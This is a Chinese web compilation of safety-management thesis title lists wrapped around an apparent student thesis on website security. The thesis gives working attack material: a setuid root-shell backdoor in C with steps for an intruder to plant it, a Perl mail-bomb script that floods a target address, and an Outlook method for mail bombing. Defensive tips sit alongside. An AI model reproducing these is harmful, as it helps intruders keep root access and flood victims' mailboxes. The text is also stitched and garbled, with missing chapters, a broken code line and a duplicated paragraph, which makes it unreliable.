安全文化向安全管理滲透的有效途徑 LGD危險品安全管理專家系統(tǒng)的研究 循證護理在產(chǎn)科新生兒安全管理中的應(yīng)用 淺談建筑施工中的安全管理與安全控制 35kV及以下架空線路施工現(xiàn)場安全管理對策 試談建筑施工企業(yè)安全管理

對建筑工程施工質(zhì)量安全管理的若干探討 院校合作中高職護生的安全管理 淺析建筑工程安全管理 建筑施工中安全管理的若干問題

民用爆炸物品安全管理發(fā)展及存在問題的對策 電力安全管理執(zhí)行力影響要素及建議 淺析企業(yè)安全管理中突出以人為本的理念 推行職業(yè)健康安全體系 創(chuàng)建科學(xué)安全管理模式 生物學(xué)實驗室安全管理與實踐 歐洲鐵路行業(yè)安全管理的啟示

安全管理在煤礦采礦工程中的應(yīng)用分析 我國內(nèi)河港口加強安全管理研究

第四篇：畢業(yè)論文安全與管理

題 目：網(wǎng)站安全與管理

摘要

本文側(cè)重在網(wǎng)站安全方面來談，討論了網(wǎng)站常用的保護方法，詳細(xì)地分析比較了專用網(wǎng)站保護軟件采用的各種技術(shù)實現(xiàn)和優(yōu)缺點，并指出了其缺陷。安全雖不是使用某個工具或某些工具就可以解決的，但使用這些工具能幫助提高安全性，減少安全風(fēng)險。只有更好的保障網(wǎng)站的安全，才能便于網(wǎng)站的管理。

關(guān)鍵詞： 安全配置、防火墻、網(wǎng)站安全

目錄

第一章

查出黑客所在

首先，就要查出黑客所在才能更好的防御。查出黑客所在有兩種方法：

1.用w指令查看系統(tǒng)信息

$w

9:01pm up 10:08, 1 user, load average: 0.08, 0.06, 0.05 User tty login@ idle JCPU PCPU what

notes console 10:54am 9days 28:04 23:29 /usr/dt/bin/dtscreen-mode blank

notes pts/2 10:54am 10:07 /sbin/sh notes pts/4 10:54am 10:06 /sbin/sh notes pts/5 10:56am 9:59 /sbin/sh

在w顯示信息的最開頭是發(fā)出w命令的時間、系統(tǒng)啟動后的時間、及注冊在系統(tǒng)的用戶數(shù)。最后的三個數(shù)表示平均負(fù)載，即使用系統(tǒng)資源的程度，使用w命令給系統(tǒng)增加了0.08負(fù)載。其他兩個數(shù)字分別表示在最后5分鐘及十五分鐘內(nèi)系統(tǒng)的平均負(fù)載量。

注意：當(dāng)有人在猜password時，將會大大增加系統(tǒng)的平均負(fù)載。

2.進程記帳

Unix 系統(tǒng)可以通過設(shè)置選項來讓核心在每個進程結(jié)束時產(chǎn)生一個記錄。這些記錄所產(chǎn)生的報告被稱為進程記帳。它包括進程使用資源的信息，以及所執(zhí)行的命令名。如果運行 的是調(diào)整用戶id程序，則還包括用戶名等。系統(tǒng)管理員可根據(jù)進程記帳的CPU時間讓用戶交納上機費，也可用進程記帳來觀察某一用戶執(zhí)行了哪些命令。進程記帳和審計是兩碼事，審計是監(jiān)視對安全性敏感的事件。進程記帳并不記下所執(zhí)行 命令的參數(shù)，所以無法知道某一命令修改了哪個文件，甚至也不知道此命令的執(zhí)行是否成 功。但系統(tǒng)管理員仍然可以在進程記帳中找出某些線索?；赟ystem V的系統(tǒng)和基于BSD的系統(tǒng)在進程記帳方面所采納的方法不同，命令也不 一樣。

2.1 System V記帳

在System V 中，進程記帳保存在/usr/adm/pactt文件中。root可運行/usr/lib/acct/startup 來啟動進程記帳。記帳信息的日常處理可用runacct命令來做，它會壓縮pacct文件。每月 的處理由shell程序monacct來完成。這兩個程序都在/usr/lib/acct目錄下。acctcom 命令可用來搜索pacct中的內(nèi)容，并產(chǎn)生報告。例如：查找用戶“tommy”在 10:00 至11:30這段時間內(nèi)所執(zhí)行的全部命令。$acctcom-u tommy-s 10:00-e 11:30 START BEF: Sat Oct 10 11:30:00 1998 END AFTER: Sat Oct 10 10:00:00 1998 COMMAND START END REAL CPU MEAN

NAME USER TTYNAME TIME TIME(SECS)(SECS)SIZE(K)cat tommy pts/3 11:01:13 11:01:13 0.02 0.02 492.00 mail tommy pts/3 11:01:13 11:01:13 0.02 0.02 876.00 clear tommy pts/3 11:01:14 11:01:14 0.03 0.01 744.00 ls tommy pts/3 11:01:16 11:01:16 0.03 0.03 776.00 date tommy pts/3 11:01:23 11:01:23 0.01 0.01 664.00

acctcom命令用來告訴系統(tǒng)管理員某一用戶干了些什么，而不是正在干什么，而且它指 列出了命令名，沒有參數(shù)。所以，從中發(fā)現(xiàn)一些線索，如可找出使用大量cpu時間的進程(典型的是猜口令進程)。

可用shell程序runacct來產(chǎn)生幾個報告。這些報告存放在/usr/adm/acct/sum目錄下，其文件名格式為rprtMMDD。報告的第一部分包含“變更”信息，如進程記帳啟動及關(guān)閉的 時間(關(guān)閉記帳可能是由于某人想隱藏某些活動),以及系統(tǒng)時間的改變。第二部分是每個 用戶注冊到系統(tǒng)的時間以及有關(guān)每個端口的報告，還包括了每個端口上“接通”和“斷開” 的次數(shù)。“接通”表示一次成功的注冊，“斷開”表示退出系統(tǒng)或注冊失敗。

大量的“斷開” 可能意味著有人在試驗“注冊名,口令”序列組試圖侵入系統(tǒng)中。報告的最后一部分是有關(guān)用戶最后一次注冊的信息，這個最后注冊報告是隨著用戶的 不斷注冊、退出而時刻更新的。報告中還包括用戶名及最后的注冊時間，越早退出系統(tǒng) 的帳號排在越前。這個報告對于發(fā)現(xiàn)那些死帳號非常有用，管理員可能會在這里發(fā)現(xiàn)一 些奇怪的事情如有人注冊到系統(tǒng)管理的帳號中(如bin或sys)。

2.2 BSD系統(tǒng)的記帳

BSD系統(tǒng)的進程記帳用/usr/etc/accton程序啟動。默認(rèn)的記帳文件為/usr/adm/acct 只要啟動了進程記帳，該文件會增長得很快。BSD有兩條命令來處理記帳信息。第一條是 /usr/etc/ac,處理在usr/adm/wtmp文件中的注冊信息，第二條是 /usr/etc/sa,產(chǎn)生已用 命令的小結(jié)報告，保存在/usr/adm/savacct文件中。

BSD系統(tǒng)中也有與acctcom類似的命令叫做lastcomm。lastcomm命令反向搜索/usr/adm/acct 文件，產(chǎn)生出與acctcom命令相似的結(jié)果。

BSD記帳系統(tǒng)也和System V一樣，有類似的缺陷(從安全性角度講),即不保留命令的參數(shù)。并且，BSD系統(tǒng)沒有最后注冊的報告。

現(xiàn)在針對前面的兩點防衛(wèi)措施，從攻的角度來看：

1.對與第一點中用w、who、last、ps等命令，hacker完全可以用程序?qū)⒆约旱挠涗涬[藏 起來，使管理員用以上幾個命令都查看不到。當(dāng)然此時hacker已經(jīng)把root的權(quán)限得到 手(如何得到，下章討論)。

2.就算最笨的hacker,當(dāng)他無法隱藏自己時，他也會把整個記錄文件刪除掉，免得管理員 查到用什么帳號從哪里登錄進來，運行了些什么指令。但顯而易見，雖然管理員此時(沒安裝第三方的審記軟件時)不能知道誰人在哪里發(fā)起攻擊，但也無疑地告訴管理員 “你的系統(tǒng)已經(jīng)給攻破了”。

3.歷史文件記錄

ksh、csh、sh、bash、zsh都可保存歷史文件。其文件如下: sh:.sh_history(sh 也即Bourne shell)csh:.history ksh:.sh_history bash:.bash_history zsh:.history

在運行sh和ksh的用戶的相應(yīng).profile中，加入HISTORY=100，可指定.sh_history

文件保存該用戶最近運行的100條記錄。對于csh，則在.cshrc文件中加入, set history=100,則可。用戶可以運行history指令來查看歷史文件中的內(nèi)容。對于Ksh、sh 也可運行 tail-f.sh_history 來查看，其順序是從最近的運行的指令開始。而C shell 是在退出才能更新文件，所以不能用tail來觀察Cshell執(zhí)行了那些命令。這些歷史文件比進程記帳更為有用，因為命令的參數(shù)也被保留下來，所以可通過執(zhí)行 執(zhí)行命令的上下文聯(lián)系察覺到用戶干了些什么。但話又說回來,其實這只起到一定作用而 已。BTW:.profile用于Bourne和Korn shell;.login和.cshrc用于C shell。

4.找出屬主為root且?guī)位的程序:

以root身份執(zhí)行以下的指令, 找出此類文件，看看是否有可疑的程序存在。

#find /-perm-4000-exec /bin/ls-lab {} “;”

其實在以前post的文章 1284 “系統(tǒng)安全技術(shù)的研究” 已有討論過如何得到root shell 當(dāng)hacker進入系統(tǒng)后,大部份是利用buffer overflow取得root shell 例如:solaris 中帶s位的fdformat,ufsdump,ping等;AIX中xlock;SGI中的xlock;digital中的dop;等等，都給hacker找出其漏洞。當(dāng)hacker利用這些big bugs取的root shell后，若其想以后還想入侵此系統(tǒng)的話，當(dāng)然是留下root shell的程序，此時hakcer也不關(guān)心原來的bugs是否給fix掉，他/她 不再需要利用bug了，只須運行自己留下的root shell即給。以下給出得到root shell的簡單程序:

#cat getrootshell.c void main(void){

setuid(0,0);

execl(“/bin/sh”, “sh”,0);}

編譯后得到bin文件。此外，接著寫入： #cc-o getrootshell getrootshell.c #chmod 4777 getrootshell #chown root:other getrootshell #ls-al getrootshell

-rwsrwxrwx 1 root other 5 Oct 12 06:14 getrootshell(注意全過程是在取的rootshell后，才可這樣做)

這樣hacker就在該系統(tǒng)中留下了后門，下次入來后就不需利用還沒fix的 fdformat,xlock,dop等bug 的程序了，直接運行g(shù)etrootshell程序，就可跳成root了。因此，管理員要查清此類型的文件。

現(xiàn)在從攻的角度來看上面兩點防衛(wèi)措施:

1..對于history文件，當(dāng)hacker進入系統(tǒng)后可以改變shell類型，來使保存他后來所有指 令的history文件失效。因此，當(dāng)hacker用crack到的帳號進入系統(tǒng)后，第一條所敲的指令 是改變shell類型的指令.example in digital unix下: c:>telnet XXX.XXX.XXX.XXX Digital UNIX(center)(ttyp5)login: tommy Password:

Last login: Sun Oct 11 22:43:51 from HPVC.com

Digital UNIX V4.0A(Rev.464);Sat Feb 7 19:54:12 GMT+0800 1998

The installation software has successfully installed your system.There are logfiles that contain a record of your installation.These are:

/var/adm/smlogs/install.cdfgeneral log file

/var/adm/smlogs/install.FS.loglog for the setld(8)utility /var/adm/smlogs/fverify.log-verification log file center>chsh Old shell: /bin/sh New shell: ksh

其他系統(tǒng)不在此一一列舉。

2.對于類似getrootshell的bin文件,hacker也不會真的那么愚蠢到起這個名字，且他們 會將此類型的程序藏在不易察覺的目錄下，如果不是老練的管理員是不會發(fā)現(xiàn)的。(注:一般來說,hacker不會把getrootshell文件刪除的，因為他也不能肯定下次進入系統(tǒng)時那些bugs還是否可以利用,使其變root)

第二章

網(wǎng)站的通用保護方法

針對黑客威脅，網(wǎng)絡(luò)安全管理員采取各種手段增強服務(wù)器的安全，確保文檔中的屬性符號，不進行屏蔽會對論壇造成嚴(yán)重的后果，網(wǎng)絡(luò)上不是有很多“小兒科”的聊天室踢人術(shù)嗎？簡單的方式是不允許小于號和大于號的出現(xiàn)，因為所有HTML語法必須包含在這兩個字符間，如果程序檢測到它們就返回一個錯誤提示，下面一行Perl代碼快速地清除了這兩個字符： $user_input=~s/<>//g;當(dāng)然，還有比較好的選擇，就是將這兩個字符轉(zhuǎn)換成它們的 HTML換碼(特殊的代碼),用于表示每個字符而不使用該字符本身。下面的代碼通過全部用<替換了小于符號，用>替換了大于符號，從而完成了轉(zhuǎn)換過程: $user_input=~s//& gt;/g;

三、編寫簡單的郵件炸彈：

利用Perl程序可以非常快速的編寫郵件炸彈程序，這種方法比起直接使用別人編寫的郵件炸彈要好的多，至少能夠真正“體會一下”什么才是黑客。這個炸彈的編譯環(huán)境是具備一臺有CGI權(quán)限的網(wǎng)絡(luò)服務(wù)器，同時這臺服務(wù)器上提供了sendmail命令（當(dāng)然這一切可以在自己的系統(tǒng)上進行設(shè)置），并且還要初步了解有關(guān)perl語言的知識。

程序的原理非常簡單，就是利用sendmail命令向目標(biāo)重復(fù)發(fā)送相同內(nèi)容的電子郵件，為了控制發(fā)送郵件的數(shù)量，我們聲明一個計數(shù)器變量，同時將程序用while()函數(shù)做循環(huán)，下面是程序的源代碼：

#!/bin/perl $file='/user/lib/sendmail';$target='someone@target.com';$count=0;while($count<1000){ open(MAIL,“/$file$target”)|| die“ Can not open $file!n print MAIL”哈哈，你被攻擊啦“ close(MAIL);sleep 3;$count++;}

程序就上面這些。Perl屬于解釋型語言，因而不需要進行編譯，直接將源代碼上傳到服務(wù)器上，然后設(shè)置成為755或者775型，就可以通過瀏覽器調(diào)用而直接使用了。程序中的$file和$target變量分別定義了sendmail命令的路徑和目標(biāo)的地址，在使用此程序以前要根據(jù)個人需要進行修改，而$count變量是我們要發(fā)送的炸彈郵件數(shù)量，因為發(fā)送郵件工作是服務(wù)器完成的，因而速度非?？?，這個數(shù)量可以設(shè)置的大一些，我們并不會感覺到程序的緩慢。

四、使用Outlook制作電子郵件炸彈：

相對上一種方法，這個方法更加直接，它不需要專用工具而只需要利用Outlook電子郵件客戶端軟件就可以輕松完成。首先介紹一下郵件炸彈的基本原理：電子郵件炸彈一般來說分成兩種。一種是通過發(fā)送巨大的垃圾郵件使對方電子郵件服務(wù)器空間溢出，從而造成無法接受電子郵件；另一種方法是無休止的發(fā)送相同內(nèi)容的但很小的郵件使對方接收不過來而放棄自己的電子郵箱。因此我們只要實現(xiàn)其中的一種即可稱之為“郵件炸彈”。使用Outlook制作電子郵件炸彈就是利用了上面說的第二種方法，不斷的向指定目標(biāo)發(fā)送電子郵件，首先我們要做一些準(zhǔn)備工作：申請一個免費的電子信箱，并把這個信箱賬號設(shè)置到Outlook中，然后選擇Outlook工具菜單的“工具”-〉“賬號”，選擇其中剛剛申請的那個電子郵件賬號，然后點擊窗口右面的“屬性”按鈕。在出現(xiàn)的屬性窗口中繼續(xù)點擊窗口上面的“高級”標(biāo)簽，更改“發(fā)送”設(shè)置中的“郵件拆分大小”屬性值，這個值盡量更改的小一些（推薦更改成16），確認(rèn)退出。

這樣以后只要使用這個經(jīng)過設(shè)置的電子信箱發(fā)電子郵件，只要郵件的大小超過了規(guī)定的字節(jié)數(shù)，Outlook就會自動將電子郵件進行分割，例如一封1600KB的信件，將它拆分成16KB一封的電子郵件發(fā)送給對方，對方的信箱中就會出現(xiàn)100多封電子郵件，郵件炸彈的功能就實現(xiàn)了！

五、如何防止電子郵件炸彈：

電子郵件的防范可以從多個方面著手，例如未雨綢繆從開始就謹(jǐn)慎的使用電子信箱，或者也可以亡羊補牢盡快修復(fù)電子信箱。在網(wǎng)絡(luò)上，大多數(shù)關(guān)于防范郵件炸彈的文章都說的是Linux等系統(tǒng)，而真正涉及初級用戶的并不是很多，然是實際更多的人使用的還是Windows系統(tǒng)，即便pop3服務(wù)器是Linux系統(tǒng)，現(xiàn)在也沒有更多的人通過傳統(tǒng)的命令方式接收郵件了，這里將講述一個與讀者聯(lián)系緊密的防止電子郵件炸彈的方法。

1、不公開信箱地址、準(zhǔn)備多個信箱：

早作準(zhǔn)備，不讓黑客知道自己的電子信箱地址是最好的方法，這就需要使用者在網(wǎng)絡(luò)上盡量少的公開自己的信箱地址，不要輕易將地址留給不認(rèn)識的人或者留在電子論壇上。當(dāng)然，如果可以，使用者可以多申請幾個電子信箱，不同的信箱聯(lián)絡(luò)不同的人，專門預(yù)備出一個公開的電子信箱，一旦受到攻擊也不會造成過多的損失。

2、使用軟件快速清理炸彈郵件：

使用BombCleaner等炸彈清理軟件，可以在不接受信件的時候察看郵件清單，從中選擇垃圾信件進行遠(yuǎn)程刪除，這樣做可以節(jié)省大量下載信件的時間，同時也堵住了通過電子郵件傳播的病毒。但是這種方法有它最明顯的缺陷：一旦信箱已經(jīng)被郵件塞滿了，就來不及刪除上面的信件、而且信發(fā)送過來的重要信件也無法接收了。

3、設(shè)置信箱過濾：

信箱過濾可以很好的解決上面軟件解決不了的問題。過濾器可以設(shè)置在本地的電子郵件客戶端程序上，也可以直接通過瀏覽器在pop3信箱的內(nèi)部進行設(shè)置，前者和上面介紹的利用軟件基本類似，也是在接收電子郵件的時候?qū)︵]件是否屬于垃圾或炸彈進行判斷，所以在信箱被塞滿的時候也不見的起到什么效果。

但是，如果能夠在pop3服務(wù)器上設(shè)置自己信箱的過濾，就可以從根本上避免被攻擊的可能了。具體做法是這樣的，通過瀏覽器登陸到pop3服務(wù)器上，然后進入自己的信箱，之后找到“郵件收發(fā)設(shè)置”，并且在其中的過濾器內(nèi)填寫有關(guān)發(fā)送垃圾郵件的郵件地址（多 個地址可以用分號隔開），并且確認(rèn)保存，這樣就能夠在服務(wù)器上過濾掉炸彈郵件、保障自己的電子信箱安全了。

4、設(shè)置接收郵件的大?。?/p>

如果黑客發(fā)送過來的不是成百上千封“小信件”，而是一封上百兆的炸彈怎么辦呢？這種郵件不需要多少，一封過來就可以把電子信箱塞的滿滿的，所以用戶在設(shè)置“過濾”的時候，還要注意“接收信件大小”選項，最好將這個數(shù)值控制在電子信箱的三分之一左右。例如使用者的電子信箱空間是三十兆，那么可以通過設(shè)置規(guī)定接收信件的大小不得超過十兆每一封，如果超過了這個數(shù)值，那么來信將被確認(rèn)為郵件炸彈，而直接被系統(tǒng)舍棄，這樣郵件炸彈便再無施展自己的空間了。

第五章

網(wǎng)站保護的缺陷

目前中國國內(nèi)

80％的網(wǎng)站存在安全隱患，20％的網(wǎng)站有嚴(yán)重的安全問題。一位“黑客”甚至說如果他敲鍵的速度足夠快的話，一天可以黑掉100個網(wǎng)站！這多少可以反映中國網(wǎng)絡(luò)安全所存在的問題。

網(wǎng)絡(luò)信息安全研究的人員認(rèn)為這首先是沒有安全意識。北京中聯(lián)綠盟公司副總經(jīng)理高永安說，一些網(wǎng)站認(rèn)為他們的公司還小，不會成為黑客攻擊的目標(biāo)，即使被黑也不會有什么損失。廣州京九公司總經(jīng)理萬濤認(rèn)為，信息安全來自三個方面：技術(shù)、管理和學(xué)習(xí)，加強信息安全不能光做技術(shù)，還要重視內(nèi)部管理和人員培養(yǎng)。而一些網(wǎng)絡(luò)安全公司的不負(fù)責(zé)態(tài)度，也據(jù)估計不利于中國信息安全的提高。據(jù)分析，中國信息安全市場容量將達到1000億元，目前從事信息安全服務(wù)的公司已超過一百家，但是市場卻相當(dāng)混亂。有些安全公司為了獲得業(yè)務(wù)，甚至刻意地尋找甚至制造一些網(wǎng)絡(luò)公司的系統(tǒng)漏洞，然后以此為籌碼與網(wǎng)絡(luò)公司談判。一些媒體的片面報道，也可能產(chǎn)生不利的影響。據(jù)最近在廣州進行的一次調(diào)查顯示，4％的小學(xué)生希望成為黑客。媒體報道黑客事件時有兩個傾向，一是玄化，將信息安全和黑客說得神乎其神；二是美化，將黑客塑造成英雄和偶像來崇拜。因此媒體必須加強引導(dǎo)，不要盲目地炒作黑客行為，更不能鼓吹黑客的破壞性。

可見，國內(nèi)網(wǎng)站安全存在必然隱患的問題必須得以正視。盡管網(wǎng)站保護軟件能進一步提高系統(tǒng)的安全，仍然存在一些缺陷。首先這些保護軟件都是針對靜態(tài)頁面而設(shè)計，而現(xiàn)在動態(tài)頁面占據(jù)的范圍越來越大，盡管本地監(jiān)測方式可以檢測腳本文件，但對腳本文件使用的數(shù)據(jù)庫卻無能為力。

另外，有些攻擊并不是針對頁面文件進行的，前不久泛濫成災(zāi)的”Red Code"就是使用修改IIS服務(wù)的一個動態(tài)庫來達到攻擊頁面的目的。另一個方面，網(wǎng)站保護軟件本身會增加WWW服務(wù)器的負(fù)載，在WWW服務(wù)器負(fù)載本身已經(jīng)很重的情況下，一定好仔細(xì)規(guī)劃好使用方案

結(jié)束語

本文側(cè)重在網(wǎng)站安全方面來談，討論了網(wǎng)站常用的保護方法，詳細(xì)地分析比較了專用網(wǎng)站保護軟件采用的各種技術(shù)實現(xiàn)和優(yōu)缺點，并指出了其缺陷。安全雖不是使用某個工具或某些工具就可以解決的，但使用這些工具能幫助提高安全性，減少安全風(fēng)險。只有更好 29 的保障網(wǎng)站的安全，才能便于網(wǎng)站的管理。

網(wǎng)絡(luò)信息安全研究的人員認(rèn)為這首先是沒有安全意識。北京中聯(lián)綠盟公司副總經(jīng)理高永安說，一些網(wǎng)站認(rèn)為他們的公司還小，不會成為黑客攻擊的目標(biāo)，即使被黑也不會有什么損失。廣州京九公司總經(jīng)理萬濤認(rèn)為，信息安全來自三個方面：技術(shù)、管理和學(xué)習(xí)，加強信息安全不能光做技術(shù)，還要重視內(nèi)部管理和人員培養(yǎng)。而一些網(wǎng)絡(luò)安全公司的不負(fù)責(zé)態(tài)度，也據(jù)估計不利于中國信息安全的提高。據(jù)分析，中國信息安全市場容量將達到1000億元，目前從事信息安全服務(wù)的公司已超過一百家，但是市場卻相當(dāng)混亂。有些安全公司為了獲得業(yè)務(wù)，甚至刻意地尋找甚至制造一些網(wǎng)絡(luò)公司的系統(tǒng)漏洞，然后以此為籌碼與網(wǎng)絡(luò)公司談判。一些媒體的片面報道，也可能產(chǎn)生不利的影響。據(jù)最近在廣州進行的一次調(diào)查顯示，4％的小學(xué)生希望成為黑客。媒體報道黑客事件時有兩個傾向，一是玄化，將信息安全和黑客說得神乎其神；二是美化，將黑客塑造成英雄和偶像來崇拜。因此媒體必須加強引導(dǎo)，不要盲目地炒作黑客行為，更不能鼓吹黑客的破壞性。

參考文獻

主要參考文獻： ??????

第五篇：安全管理畢業(yè)論文題目范文

安全管理畢業(yè)論文題目

一、論文說明

【論文金老師特別提醒】以下題目均為示例題目，供大家寫作參考使用。因為已經(jīng)在互聯(lián)網(wǎng)公開，為了避免重復(fù)和抄襲，寫作時最好能稍加改動，比如換個寫作方向或者換個研究對象，都是可行的。論文中遇到什么問題也可以與我一起交流探討（見尾部）。

二、論文參考題目

試談建筑施工企業(yè)安全管理 如何讓從業(yè)人員更樂于接受安全管理 精細(xì)化工企業(yè)消防安全管理的探討 新形勢下安全管理的新挑戰(zhàn)與對策思考 基于現(xiàn)代信息技術(shù)的安全管理問題研究 淺析建筑工程安全管理

安全管理在煤礦采礦工程中的應(yīng)用分析 淺談建筑施工中的安全管理與安全控制 強化建筑工程安全管理的對策分析 加油站安全管理的問題及對策研究 公路工程施工過程中的安全管理 房建施工中質(zhì)量與安全管理的研究

手術(shù)室安全管理中護理安全干預(yù)機制的應(yīng)用分析 探討強化建筑工程安全管理的措施 魏家峁煤礦工程基建期的安全管理 強化校園綜治安全管理

做好基層安全管理工作的幾點思考 淺談采油廠安全管理文化 建筑施工安全管理

探究責(zé)任心和執(zhí)行力在安全管理中的作用 試論企業(yè)安全管理及主要對策 英國建筑安全管理實踐之研究與借鑒 采油生產(chǎn)過程的安全管理之我見 淺談企業(yè)安全管理及主要對策 安全管理的必要性及具體措施

以人的安全健康為核心的安全管理新體系的探討 安全管理“八法”的探索與研究 淺析我國煤礦的安全管理

LGD危險品安全管理專家系統(tǒng)的研究 房地產(chǎn)工程施工安全管理分析 標(biāo)準(zhǔn)化安全管理的探索與實踐 企業(yè)安全管理信息化探討 淺談石油化工企業(yè)安全管理 試論化工安全管理的重要性 強化建筑工程安全管理的措施 淺談安全管理重在提升安全素質(zhì) 工程施工安全管理研究與實踐應(yīng)用 加強新生兒科高危藥品的安全管理 芻議加強建筑施工現(xiàn)場安全管理的要點 高職院校學(xué)生安全管理思考

安全管理對現(xiàn)代工程施工現(xiàn)場管理產(chǎn)生的影響分析 淺議我國建筑施工企業(yè)安全管理 淺談企業(yè)安全文化建設(shè)與安全管理

淺談安全管理模式在電力工程施工現(xiàn)場的應(yīng)用 新時期構(gòu)建校園安全管理長效機制的探討 熱電廠安全管理的幾點思考 論建筑工程項目加強安全管理 芻議建筑施工現(xiàn)場安全管理

淺談加強建筑施工現(xiàn)場安全管理的要點 安全管理在手術(shù)室護理中的應(yīng)用效果分析及體會 圖書館安全管理工作初探 論建筑施工中的安全管理 QC在安全管理中的應(yīng)用 安全管理之我見

淺談實現(xiàn)煤炭企業(yè)安全管理科學(xué)化的途徑 企業(yè)安全管理成效的實證研究 淺談電力建設(shè)以人為本的安全管理 五九煤炭公司的安全管理對策 現(xiàn)代安全管理的新課題——風(fēng)險評估

加強領(lǐng)導(dǎo) 落實責(zé)任 進一步強化安全管理——1998年中國石化銷售公司安全工作會議工作報告

現(xiàn)代企業(yè)安全管理的研究 采礦的安全管理與分析

行為安全管理系統(tǒng)中員工不安全行為涌現(xiàn)性抑制的研究 關(guān)于煤礦企業(yè)內(nèi)部安全管理問題的分析研究及建議 淺談提高地震勘探安全管理的幾點做法 電力檢修的安全管理探討 關(guān)于建筑工程安全管理效益的思考 骨傷科病房安全管理的實踐及體會

淺談國際安全評級系統(tǒng)在化工企業(yè)安全管理中的應(yīng)用 冶金企業(yè)相關(guān)方安全管理淺析

珠海市拱北轄區(qū)幼兒園安全管理現(xiàn)況及對策 ICU檢驗“危機值”護理安全管理的體會 泰州大橋工程項目建設(shè)單位安全管理實踐探討 注重創(chuàng)新力以提高安全管理的控制力 淺析如何推行專業(yè)化安全管理

建立安全管理長效機制 確保安全生產(chǎn)長治久安 基層供電所安全管理

信息安全管理領(lǐng)域研究現(xiàn)狀的統(tǒng)計分析與評價 創(chuàng)新安全管理思路 完善安全管理體系 論如何加強加油站安全管理 基于控制論的煤礦企業(yè)安全管理研究 安全信息在車務(wù)段安全管理中的應(yīng)用 安全管理在煤礦采礦工程中的應(yīng)用探究 高校學(xué)生安全管理的法理分析與制度建構(gòu)研究 公路水土保持工程施工中的安全管理 對基層車間安全管理工作的思考和認(rèn)識 安全管理隊伍——安全工作中的中堅力量 對中西式安全管理之間沖突的分析

淺談企業(yè)安全管理工作的基礎(chǔ)-班組安全管理 抓好煤礦安全管理 提高企業(yè)員工安全素質(zhì)芻議 美國安全管理專業(yè)解析

對加強護理安全管理的認(rèn)識和思考 護理工作中安全管理實踐探討

石油企業(yè)安全管理存在問題與管理對策探討 電氣工程班組的安全管理探析 安全管理重在落實

談?wù)勲姎夤こ贪嘟M的安全管理 淺談企業(yè)安全管理 再議安全管理

化工過程安全管理進展 淺談建筑施工安全管理

淺談異地辦礦的安全管理人才的開發(fā)和培養(yǎng) 我國鋼鐵企業(yè)安全管理發(fā)展?fàn)顩r的分析與研究 安全倫理與“道德的”安全管理模式建構(gòu) 淺談安全管理與安全 安全管理在急診護理中的應(yīng)用 淺談危險化工工藝生產(chǎn)過程安全管理

以情境分析為導(dǎo)向的門診護患互動式安全管理實踐效果研究 安全管理是企業(yè)現(xiàn)代化管理的基石——以南通某某公司為例 職業(yè)健康安全管理體系研究進展 強化安全管理 提高實驗中心管理成效 建筑施工企業(yè)安全管理的困境與對策 企業(yè)研發(fā)安全管理體系的探索與建構(gòu) 淺論建筑安全管理 民航空管安全管理建設(shè)研究 強化建筑工程安全管理的措施研究 水利工程歲修項目安全管理問題與對策 新形勢下中小化工企業(yè)安全管理的路徑探析 對心內(nèi)科老年住院患者進行護理安全管理的效果觀察 小學(xué)生安全管理工作的途徑分析

前瞻性理念在臨床教學(xué)護理安全管理中的應(yīng)用 JCI標(biāo)準(zhǔn)在住院患者使用約束具安全管理中的應(yīng)用 論如何加強油田安全管理的方法 安全管理中個人因素的重要性分析 臺灣煤礦安全管理經(jīng)驗與借鑒

加強安全管理在實際工程的應(yīng)用與研究 安全管理在護理管理中的重要性探討 安全管理在護理管理中的重要性 基于配電網(wǎng)安全管理的探討

淺談如何提高企業(yè)安全管理工作的執(zhí)行力水平論施工項目部的安全管理 做好基層安全管理工作的幾點思考 關(guān)于改進長慶建工安全管理的幾點看法

基于OSHMS體系的企業(yè)安全管理模糊綜合評價方法淺析 電力企業(yè)安全管理信息系統(tǒng)的設(shè)計和實現(xiàn) 供電所安全管理現(xiàn)狀及對策分析 藥品安全管理模式分析

施工現(xiàn)場安全管理存在問題的原因分析 手術(shù)病人的安全管理

智能巡檢管理系統(tǒng)在精神科夜班安全管理中的應(yīng)用 港口安全管理現(xiàn)狀分析及對策研究 淺析工程項目監(jiān)理中的安全管理 基于GIS的城市交通安全管理研究 漳村煤礦的安全管理新方法

安全傘——一種有效可行的安全管理模式 淺談企業(yè)安全管理

企業(yè)生產(chǎn)部門管理人員在安全管理中的作用研究 安全管理在氣體生產(chǎn)企業(yè)發(fā)展中的問題與策略探討